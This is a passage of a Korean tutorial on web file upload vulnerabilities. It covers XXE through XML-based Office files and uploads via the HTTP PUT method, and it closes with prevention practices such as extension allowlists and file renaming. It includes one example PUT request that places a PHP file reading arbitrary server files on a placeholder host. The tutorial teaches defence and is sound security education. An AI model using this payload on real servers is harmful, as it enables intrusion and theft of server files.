업로드된 파일이 안전하게 저장되고 제공되는 것처럼 보이더라도, 파일 형식의 파싱 또는 처리 과정에서 발생하는 취약점을 악용할 수 있습니다. 예를 들어, 서버가 Microsoft Office의 .doc이나 .xls 파일과 같은 XML 기반 파일을 파싱한다면, 이를 XXE(XML External Entity) 인젝션 공격의 벡터로 활용할 수 있습니다.
PUT 메서드를 사용한 파일 업로드
일부 웹 서버가 PUT 요청을 지원하도록 구성될 수 있다는 점도 주목할 필요가 있습니다. 적절한 방어 체계가 마련되어 있지 않으면, 웹 인터페이스의 업로드 기능을 사용하지 않고도 악성 파일을 업로드하는 대체 수단이 될 수 있습니다.
PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49
<?php echo file_get_contents('/path/to/file'); ?>
팁: 다양한 엔드포인트에
OPTIONS요청을 보내PUT메서드를 지원하는 엔드포인트가 있는지 확인할 수 있습니다.
파일 업로드 취약점 방지 방법
사용자에게 파일 업로드 기능을 제공하는 것은 일반적이며, 적절한 예방 조치를 취한다면 위험하지 않습니다. 이러한 취약점으로부터 웹사이트를 보호하는 가장 효과적인 방법은 다음의 관행들을 모두 적용하는 것입니다.
금지된 확장자의 블랙리스트가 아닌 허용된 확장자의 화이트리스트를 기반으로 파일 확장자를 검증해야 합니다. 공격자가 업로드할 수 있는 확장자를 전부 예측하는 것보다, 허용할 확장자를 지정하는 것이 훨씬 용이합니다.
파일명에 디렉터리 탐색 시퀀스(../)로 해석될 수 있는 문자열이 포함되지 않았는지 확인해야 합니다.
기존 파일이 덮어쓰여지는 것을 방지하기 위해 업로드된 파일의 이름을 변경해야 합니다.
파일이 완전히 검증될 때까지 서버의 영구 파일 시스템에 저장하지 않아야 합니다.
가능한 한 자체 검증 메커니즘을 구현하기보다는, 검증된 프레임워크의 파일 업로드 전처리 기능을 활용하는 것이 바람직합니다.
Comments
Sign in with GitHub to leave a comment.